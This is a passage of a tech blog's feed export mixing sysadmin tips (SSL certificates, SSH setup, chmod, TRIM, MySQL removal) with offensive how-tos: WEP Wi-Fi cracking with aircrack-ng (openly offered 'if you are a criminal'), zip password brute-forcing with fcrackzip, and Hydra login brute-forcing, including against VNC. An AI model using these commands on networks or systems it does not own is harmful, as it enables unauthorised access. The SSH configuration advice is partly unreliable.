&lt;td width=&quot;33%&quot;&gt;List files from a TAR archive&lt;/td&gt;
&lt;td width=&quot;34%&quot;&gt;tar -ztvf pics.tar.gz&lt;br /&gt;tar -jtvf data.tbz2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content>
<published>2017-05-12T01:08:00+00:00</published>
<updated>2017-05-12T01:08:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/191'/>
<id>https://wirelessarmy.theproject1.com/191</id>
<author><name>admin</name></author>
</entry> <entry>
<title>connect to wifi with wep password</title> 
<content type='html'>&lt;p&gt;if you want to connect to a network using wep password like your home network but you forgot the password or you are a criminal you can have the password in few steps:&lt;br /&gt; open a terminal&lt;/p&gt;
&lt;pre&gt;airmon-ng
airmon-ng start wlan0
airodump-ng mon0&lt;/pre&gt;
&lt;p&gt;Copy the target bssid&lt;/p&gt;
&lt;pre&gt;airodump-ng -c (channel) -w filename --bssid (thebssid) mon0&lt;/pre&gt;
&lt;p&gt;new terminal&lt;/p&gt;
&lt;pre&gt;aireplay-ng -1 0 -a (thebssid ) mon0&lt;/pre&gt;
&lt;p&gt;-1: fake authentication&lt;/p&gt;
&lt;pre&gt;aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff: -b (thebssid) mon0
Y&lt;/pre&gt;
&lt;p&gt;-2: interactive frame selection -p: set frame control word (hex) -c: set Destination MAC address&lt;/p&gt;
&lt;p&gt;new terminal&lt;/p&gt;
&lt;pre&gt;aircrack-ng -b (thebssid) wep-01.cap&lt;/pre&gt;</content>
<published>2017-05-10T19:56:00+00:00</published>
<updated>2017-05-10T19:56:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/86'/>
<id>https://wirelessarmy.theproject1.com/86</id>
<author><name>admin</name></author>
</entry> <entry>
<title>self singed ssl certification</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/fKe720TePFs&quot; width=&quot;560&quot; height=&quot;315&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;br /&gt; The first thing is to chose your key size 1024, 2048 or 4096 then you should run these command (you need to chose a private password and remember it.)&lt;/div&gt;
&lt;pre&gt;apt-get install openssl
openssl genrsa -des3 -out server.key 2048
openssl req -new -key server.key -out server.csr
cp server.key server.key.com
openssl rsa -in server.key.com -out server.key 
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
mkdir /etc/apache2/ssl
cp server.crt /etc/apache2/ssl/apache.crt
cp server.key /etc/apache2/ssl/apache.key
&lt;/pre&gt;
&lt;p&gt;will creating a new certification it will ask you questions like your company name and more. the fallowing lines are an example:&lt;/p&gt;
&lt;pre&gt;openssl req -new -key server.key -out server.csr

Enter pass phrase for server.key: myreallylongpassword
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter &#039;.&#039;, the field will be left blank.
-----
Country Name (2 letter code) [AU]:CA
State or Province Name (full name) [Some-State]:Quebec
Locality Name (eg, city) []:Montreal
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Wireless Army
Organizational Unit Name (eg, section) []:IT-Security
Common Name (e.g. server FQDN or YOUR name) []:wirelessarmy.com
Email Address []:info@wirelessarmy.com

Please enter the following &#039;extra&#039; attributes
to be sent with your certificate request
A challenge password []: (optional) 
An optional company name []:Wireless Army
&lt;/pre&gt;
&lt;p&gt;The &quot;challenge password&quot; requested as part of the CSR generation, and the pass phrase used to encrypt the secret key (requested at key generation time, or when a plain text key is later encrypted - and then requested again each time the SSL-enabled service that uses it starts up), are two separate and different things.&lt;br /&gt; If you enter a challenge password you will be prompted for the password every time Apache starts or your server reboots.&lt;br /&gt; &lt;br /&gt;now open the /etc/apache2/sites-availble&lt;br /&gt; change the port from 80 to 443 the add fallowing lines beetween the &amp;lt;VirtualHost *:443&amp;gt; and &amp;lt;/VirtualHost&amp;gt;&lt;/p&gt;
&lt;pre&gt;SSLEngine on
SSLCertificateFile /etc/apache2/ssl/apache.crt
SSLCertificateKeyFile /etc/apache2/ssl/apache.key&lt;/pre&gt;
&lt;p&gt;now you should run these commands&lt;/p&gt;
&lt;pre&gt;a2enmod ssl
a2ensite default-ssl
service apache2 reload
service apache2 restart&lt;/pre&gt;
&lt;p&gt;remember that because it&#039;s self signed people will see an error that says The site&#039;s security certificate is not trusted! and a button to go to site anyway. it&#039;s good for development processes but if you want to use it in a real world environment I believe that you should pay for it.&lt;/p&gt;</content>
<published>2017-05-08T20:04:00+00:00</published>
<updated>2017-05-08T20:04:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/15'/>
<id>https://wirelessarmy.theproject1.com/15</id>
<author><name>admin</name></author>
</entry> <entry>
<title>ad hoc on windows 8</title> 
<content type='html'>&lt;p&gt;if you don’t know what is ad hoc it’s better that you don’t continue reading.&lt;br&gt;
if you are trying to create a new ad hoc network but you can’t find it in the “Network and Sharing Center” first you should check that if your hardware can support it the create it.&lt;br&gt;
so open the windows command line using admin.&lt;br&gt;
the type&lt;/p&gt;
&lt;pre&gt;netsh wlan show drivers&lt;/pre&gt;
&lt;p&gt;and check for this line&lt;/p&gt;
&lt;pre&gt;Hosted network supported  : Yes&lt;/pre&gt;
&lt;p&gt;if it says no, you need a hardware upgrade&lt;br&gt;
and if it’s yes continue.&lt;br&gt;
then you should create it using the fallowing command line (you can change the ssid to what you what because it’s the name of your network and the key is the password that other people should enter if they what to connect to it.)&lt;/p&gt;
&lt;pre&gt;netsh wlan set hostednetwork mode=allow ssid=mynetwork key=lame password&lt;/pre&gt;
&lt;p&gt;after that  you should start your network because the command line before was only to set the properties. So this it how to start it:&lt;/p&gt;
&lt;pre&gt;netsh wlan start hostednetwork&lt;/pre&gt;
&lt;p&gt;and if even now when you see your ad hoc network you can’t connect to it go to it’s properties under sharing tab allow people to connect to this pc to get internet.&lt;/p&gt;
</content>
<published>2017-05-08T03:58:00+00:00</published>
<updated>2017-05-08T03:58:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/139'/>
<id>https://wirelessarmy.theproject1.com/139</id>
<author><name>admin</name></author>
</entry> <entry>
<title>find a zip file&#039;s password</title> 
<content type='html'>&lt;p&gt;(be for starting make sure you are using backtrack 5 or kali linux as operation system)&lt;br /&gt; open the command line&lt;/p&gt;
&lt;pre&gt;fcrackzip -b -l 1-99 -u (your file address)&lt;/pre&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;pre&gt;fcrackzip -b -l 1-99 -u /root/Descktop/thisisazipfile.zip&lt;/pre&gt;
&lt;p&gt;because we are using brutal force the -l is specifying the length of letters/numbers. In this example we are using 1 to 99 for the length because we don&amp;rsquo;t have any info about the zip but if you can guess the length of the password and change it to some thing less (ex: 5-10) it will be faster to find the pass.&lt;/p&gt;</content>
<published>2017-05-04T14:57:00+00:00</published>
<updated>2017-05-04T14:57:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/88'/>
<id>https://wirelessarmy.theproject1.com/88</id>
<author><name>admin</name></author>
</entry> <entry>
<title>enable triming on SSD</title> 
<content type='html'>&lt;p&gt;&lt;strong&gt;Enabling TRIM support on dm-crypt&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;edit your fstab&amp;nbsp;file (either /etc/fstab&amp;nbsp;or /etc/crpttab) and add the discard option&lt;/p&gt;
&lt;pre&gt;# &amp;lt;target name&amp;gt;    &amp;lt;source device&amp;gt;    &amp;lt;key file&amp;gt;       &amp;lt;options&amp;gt;
sda2_crypt         /dev/sda2          none             luks,&lt;code&gt;discard&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: The usage of TRIM on dm-crypt could cause some security issues like the revelation of which sectors of your disk are unused.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enabling TRIM support on LVM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;edit&amp;nbsp;etc/lvm/lvm.conf &amp;nbsp;and change &lt;strong&gt;issue_discards &amp;nbsp;&lt;/strong&gt;to 1&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enabling TRIM support on the file system&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;make an executable bash file&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;#! /bin/sh
for mount in / /boot /home; do
	fstrim $mount
done&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;rebuild your &lt;/strong&gt;initramfs&lt;/p&gt;
&lt;p&gt;run update-initramfs -u to rebuild your initramfs (or dracut -f) This script can be used to automatically detect and fstrim all filesystems that have TRIM support enabled.&lt;/p&gt;
&lt;pre&gt;#!/bin/sh
for fs in $(lsblk -o MOUNTPOINT,DISC-MAX,FSTYPE | grep -E &#039;^/.* [1-9]+.* &#039; | awk &#039;{print $1}&#039;); do
	fstrim &quot;$fs&quot;
done&lt;/pre&gt;</content>
<published>2017-05-04T03:17:00+00:00</published>
<updated>2017-05-04T03:17:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/218'/>
<id>https://wirelessarmy.theproject1.com/218</id>
<author><name>admin</name></author>
</entry> <entry>
<title>commands</title> 
<content type='html'>&lt;p&gt;Hydra is a tool to guess/crack valid login/password pairs&lt;/p&gt;
&lt;p&gt;syntax:&amp;nbsp;&lt;/p&gt;
&lt;pre&gt;&lt;strong&gt;hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]&lt;/strong&gt;
&lt;strong&gt;[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]&lt;/strong&gt;
&lt;strong&gt;server service [OPT]&lt;/strong&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;-R&lt;/strong&gt;restore a previous aborted/crashed session&lt;strong&gt;-S&lt;/strong&gt;connect via SSL&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-s &amp;lt;PORT&amp;gt;&lt;/strong&gt;if the service is on a different default port, define it here&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-l &amp;lt;LOGIN&amp;gt; or -L &amp;lt;FILE&amp;gt;&lt;/strong&gt;login with LOGIN name, or load several logins from FILE&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-p &amp;lt;PASS&amp;gt; or -P &amp;lt;FILE&amp;gt;&lt;/strong&gt;try password PASS, or load several passwords from FILE&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-e &amp;lt;ns&amp;gt;&lt;/strong&gt;additional checks, &quot;n&quot; for null password, &quot;s&quot; try login as pass&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-C &amp;lt;FILE&amp;gt;&lt;/strong&gt;colon seperated &quot;login:pass&quot; format, instead of -L/-P options&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-M &amp;lt;FILE&amp;gt;&lt;/strong&gt;server list for parallel attacks, one entry per line&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-o &amp;lt;FILE&amp;gt;&lt;/strong&gt;write found login/password pairs to FILE instead of stdout&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-f&lt;/strong&gt;exit after the first found login/password pair (per host if -M)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-t &amp;lt;TASKS&amp;gt;&lt;/strong&gt;run TASKS number of connects in parallel (default: 16)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-w&lt;time&gt;&lt;/time&gt;&lt;/strong&gt;defines the max wait time in seconds for responses (default: 30)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-v / -V&lt;/strong&gt;verbose mode / show login+pass combination for each attempt&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;server&lt;/strong&gt;the target server (use either this OR the -M option)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;service&lt;/strong&gt;the service to crack. Supported protocols: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OPT&lt;/strong&gt;some service modules need special input&lt;/p&gt;
&lt;p&gt;&amp;nbsp;(-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy. E.g.: % export HTTP_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HTTP_PROXY_HTTP=http://proxy:8080 % export HTTP_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1&lt;/p&gt;
&lt;p&gt;hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN &lt;br /&gt;hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5&lt;/p&gt;</content>
<published>2017-04-28T04:47:00+00:00</published>
<updated>2017-04-28T04:47:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/104'/>
<id>https://wirelessarmy.theproject1.com/104</id>
<author><name>admin</name></author>
</entry> <entry>
<title>permission problems</title> 
<content type='html'>&lt;p&gt;If you have moutiple hard drives with windows installed, accessing a file on a different drive than the one you are runing can give you permission problems. Here is how to fix it: run command line as admin. move to the folder with the problem. run the following command:&lt;/p&gt;
&lt;pre&gt;icacls * /T /Q /C /RESET&lt;/pre&gt;
&lt;p&gt;if by any chance that gives you an error, you can do this&lt;/p&gt;
&lt;pre&gt;takeown /R /F *&lt;/pre&gt;</content>
<published>2017-04-13T11:49:00+00:00</published>
<updated>2017-04-13T11:49:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/163'/>
<id>https://wirelessarmy.theproject1.com/163</id>
<author><name>admin</name></author>
</entry> <entry>
<title>chmod</title> 
<content type='html'>chmod for permissions &lt;br&gt;
&lt;p&gt;chmod [options] mode[,mode] file1 [file2 ...]&lt;br&gt;
change the permission for one or several files&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;&lt;br&gt;
Add execute-by-user permission to&amp;nbsp;&lt;em&gt;file&lt;/em&gt;:&lt;br&gt;
&lt;b&gt;chmod u+x&lt;/b&gt;&amp;nbsp;&lt;em&gt;file&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Either of the following will assign read/write/execute permission by owner (7), read/execute permission by group (5), and execute-only permission by others (1) to&amp;nbsp;&lt;em&gt;file&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;b&gt;chmod 751&lt;/b&gt;&amp;nbsp;&lt;em&gt;file&lt;/em&gt;&amp;nbsp;&lt;b&gt;chmod u=rwx,g=rx,o=x&lt;/b&gt;&amp;nbsp;&lt;em&gt;file&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Any one of the following will assign read-only permission to&amp;nbsp;&lt;em&gt;file&lt;/em&gt;&amp;nbsp;for everyone:&lt;/p&gt;
&lt;p&gt;&lt;b&gt;chmod =r&lt;/b&gt;&amp;nbsp;&lt;em&gt;file&lt;/em&gt;&amp;nbsp;&lt;b&gt;chmod 444&lt;/b&gt;&amp;nbsp;&lt;em&gt;file&lt;/em&gt;&amp;nbsp;&lt;b&gt;chmod a-wx,a+r&lt;/b&gt;&amp;nbsp;&lt;em&gt;file&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The following makes the executable setuid, assigns read/write/execute permission by owner, and assigns read/execute permission by group and others:&lt;/p&gt;
&lt;p&gt;&lt;b&gt;chmod 4755&lt;/b&gt;&amp;nbsp;&lt;em&gt;file&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;chmod 777 it can be read/write and execute&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Permissions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;b style=&quot;letter-spacing: 0.1em; text-transform: uppercase;&quot;&gt;r&amp;nbsp;&lt;/b&gt;Read.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;w&amp;nbsp;&lt;/b&gt;Write.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;x&amp;nbsp;&lt;/b&gt;Execute.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;s&amp;nbsp;&lt;/b&gt;Set user (or group) ID.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;t&amp;nbsp;&lt;/b&gt;Sticky bit; used on directories to prevent removal of files by non-owners.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;u&amp;nbsp;&lt;/b&gt;User’s present permission.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;g&amp;nbsp;&lt;/b&gt;Group’s present permission.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;o&amp;nbsp;&lt;/b&gt;Other’s present permission.&lt;/p&gt;
&lt;table class=&quot;wikitable&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Permission&lt;/th&gt;
&lt;th&gt;rwx&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;full&lt;/td&gt;
&lt;td&gt;111&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;read and write&lt;/td&gt;
&lt;td&gt;110&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;read and execute&lt;/td&gt;
&lt;td&gt;101&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;read only&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;write and execute&lt;/td&gt;
&lt;td&gt;011&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;write only&lt;/td&gt;
&lt;td&gt;010&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;execute only&lt;/td&gt;
&lt;td&gt;001&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Options&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;-c, –changes&lt;/p&gt;
&lt;p&gt;Print information about files that are changed.&lt;/p&gt;
&lt;p&gt;-f, –silent, –quiet&lt;br&gt;
Do not notify user of files that chmod cannot change.&lt;/p&gt;
&lt;p&gt;–help&lt;br&gt;
Print help message and then exit.&lt;/p&gt;
&lt;p&gt;-R, –recursive&lt;br&gt;
Traverse subdirectories recursively, applying changes.&lt;/p&gt;
&lt;p&gt;–reference=filename&lt;br&gt;
Change permissions to match those associated with filename.&lt;/p&gt;
&lt;p&gt;-v, –verbose&lt;br&gt;
Print information about each file, whether changed or not.&lt;/p&gt;
&lt;p&gt;–version&lt;br&gt;
Print version information and then exit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;users&lt;/strong&gt;&lt;br&gt;
(the fist letter)&lt;br&gt;
&lt;strong&gt;u&lt;/strong&gt; ser&lt;br&gt;
&lt;strong&gt;g&lt;/strong&gt; roupe&lt;br&gt;
&lt;strong&gt;o&lt;/strong&gt; ther&lt;br&gt;
&lt;strong&gt;a&lt;/strong&gt; ll (default)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Opcode&lt;/strong&gt;&lt;br&gt;
+ &lt;em&gt;for&lt;/em&gt; Add permission.&lt;br&gt;
- &lt;em&gt;for&lt;/em&gt; remove permission&lt;br&gt;
= &lt;em&gt;for&lt;/em&gt; Assign permission (and remove permission of the unspecified fields).&lt;/p&gt;
</content>
<published>2017-04-09T04:19:00+00:00</published>
<updated>2017-04-09T04:19:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/116'/>
<id>https://wirelessarmy.theproject1.com/116</id>
<author><name>admin</name></author>
</entry> <entry>
<title>css full screen fade background color</title> 
<content type='html'>how to made full screen fading color as background&lt;br&gt;
fist is the starting point then colors in order.
&lt;pre&gt;body {
   /* Safari 4+, Chrome 1-9  */
   background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#EEEEEE), to(#A5A5A5), to(#EEEEEE));
   /* Safari 5.1+, Mobile Safari, Chrome 10+ */
   background: -webkit-linear-gradient(top, #A5A5A5, #EEEEEE, #A5A5A5)  no-repeat center center fixed; 
   /* Firefox 3.6+ */
   background: -moz-linear-gradient(top, #A5A5A5, #EEEEEE, #A5A5A5) no-repeat center center fixed;
   /* IE 10+ */
   background: -ms-linear-gradient(top, #A5A5A5, #EEEEEE, #A5A5A5) no-repeat center center fixed;
   /* Opera 11.10+ */
   background: -o-linear-gradient(top, #A5A5A5, #EEEEEE, #A5A5A5) no-repeat center center fixed;
}
&lt;/pre&gt;</content>
<published>2017-04-09T04:09:00+00:00</published>
<updated>2017-04-09T04:09:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/22'/>
<id>https://wirelessarmy.theproject1.com/22</id>
<author><name>admin</name></author>
</entry> <entry>
<title>fully uninstall mysql</title> 
<content type='html'>&lt;pre class=&quot;lang-sql prettyprint prettyprinted&quot;&gt;&lt;code&gt;&lt;span class=&quot;pln&quot;&gt;sudo service mysql stop  &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;kwd&quot;&gt;or&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; mysqld
sudo killall &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;-9&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; mysql
sudo killall &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;-9&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; mysqld
sudo apt-get remove &lt;/span&gt;&lt;span class=&quot;com&quot;&gt;--purge mysql-server mysql-client mysql-common&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
sudo apt-get autoremove
sudo apt-get autoclean
sudo deluser mysql
sudo rm &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;rf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;lib&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;mysql
sudo apt-get purge mysql-server-core-5&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;.5&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
sudo apt-get purge mysql-client-core-5&lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;.5&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
sudo rm &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;rf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;mysql
sudo rm &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;rf &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;etc&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;mysql&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;sudo deluser mysql&lt;br /&gt;sudo delgroup mysql&lt;/pre&gt;</content>
<published>2017-04-09T03:39:00+00:00</published>
<updated>2017-04-09T03:39:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/182'/>
<id>https://wirelessarmy.theproject1.com/182</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Brutforcing vnc</title> 
<content type='html'>&lt;p&gt;a simple command line to brut force vnc server password&lt;/p&gt;
&lt;p&gt;hydra -P pasword.txt -vV -t 10 -f 192.168.2.21 vnc&lt;/p&gt;
</content>
<published>2017-04-09T03:14:00+00:00</published>
<updated>2017-04-09T03:14:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/106'/>
<id>https://wirelessarmy.theproject1.com/106</id>
<author><name>admin</name></author>
</entry> <entry>
<title>open .run files</title> 
<content type='html'>&lt;p&gt;if you just downloaded a file with the .run format on linux, it can work or not.&lt;br /&gt; if not just:&lt;/p&gt;
&lt;pre&gt;chmod +x myfile.run&lt;/pre&gt;
&lt;p&gt;then&lt;/p&gt;
&lt;pre&gt;./myfile.run&lt;/pre&gt;
&lt;p&gt;and it will work!&lt;/p&gt;</content>
<published>2017-04-09T02:44:00+00:00</published>
<updated>2017-04-09T02:44:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/68'/>
<id>https://wirelessarmy.theproject1.com/68</id>
<author><name>admin</name></author>
</entry> <entry>
<title>text to hex and ASCII</title> 
<content type='html'>this code will input some text and give you the hex and ASCII characters
&lt;pre&gt;#!/usr/bin/env python
#a wile loop (if true continue to redo until false)
while True:
   stringName = raw_input(&quot;Convert string to hex &amp; ascii(type exit to quit): &quot;).strip()
   if stringName == &#039;exit&#039;:
      break
   #encode is a built it python function ex: &quot;d&quot;.encode(&#039;hex&#039;) = 64
   print &quot;Hex value: &quot;, stringName.encode(&#039;hex&#039;) 
   #ord is a built it python function that wil convert text to ascii ex ord(&#039;d&#039;) = 100
   print &quot;ASCII value: &quot;, &#039;, &#039;.join(str(ord(c)) for c in stringName)&lt;/pre&gt;</content>
<published>2017-04-09T02:24:00+00:00</published>
<updated>2017-04-09T02:24:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/45'/>
<id>https://wirelessarmy.theproject1.com/45</id>
<author><name>admin</name></author>
</entry> <entry>
<title>setup a ssh server</title> 
<content type='html'>&lt;p&gt;how to setp up a ssh server using openssh with rsa public private keys (ubuntu server): first you need to install it&lt;/p&gt;
&lt;pre&gt; sudo apt-get install openssh-server&lt;/pre&gt;
&lt;p&gt;now you need to make a public and private key&lt;/p&gt;
&lt;pre&gt;ssh-keygen -t rsa -b 4096&lt;/pre&gt;
&lt;p&gt;your keys will be at /home/me/.ssh id_rsa and id_rsa.pub (if you didn&#039;t change the name) now we should edit the config file /etc/ssh/sshd_config first change the protocol from 2, 1 to 2 only if you want you can change the port the change the AuthorizedKeyFile from $h/.ssh/authorized keys to $h/.ssh/id_rsa.pub then change the password authentication to no to make sure you are safe from brutforce attacks&lt;/p&gt;
&lt;pre&gt;Protocol 2
Port 22
AuthorizedKeysFile       $h/.ssh/id_rsa.pub 
PasswordAuthentication no&lt;/pre&gt;
&lt;p&gt;after saving it you can run it with this command&lt;/p&gt;
&lt;pre&gt;service ssh start&lt;/pre&gt;
&lt;p&gt;now you need to move the fil id_rsa to a usb drive(not safe to email it to yourself) and connect with this command&lt;/p&gt;
&lt;pre&gt;ssh -i /path/to/id_dsa me@myserver.com&lt;/pre&gt;
&lt;p&gt;if you have a windows and you want to connect to the server download &lt;a href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&quot;&gt;putty&lt;/a&gt; and puttykeygen open the putty key generator click on conversions and import key the click the &quot;save the private key button&quot; the file that you created with the extension of .ppk is the one that you will use with putty to connect to the sever&lt;/p&gt;</content>
<published>2017-04-09T02:19:00+00:00</published>
<updated>2017-04-09T02:19:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/61'/>
<id>https://wirelessarmy.theproject1.com/61</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Undefined distribution name</title> 
<content type='html'>&lt;p&gt;if you get an error like this:&lt;/p&gt;
&lt;pre&gt;Undefined index: distribution_name in drupal_install_profile_distribution_name() (line 207 of includes/install.inc).&lt;/pre&gt;
&lt;p&gt;you should go to that file (includes/install.inc) at the line 204 when you have some thing like this&lt;/p&gt;
&lt;pre&gt;else {
    $profile = drupal_get_profile();
    $info = system_get_info(&#039;module&#039;, $profile);
     return $info[&#039;distribution_name&#039;];
  }
}&lt;/pre&gt;
&lt;p&gt;just add this like before the return distribution name.&lt;/p&gt;
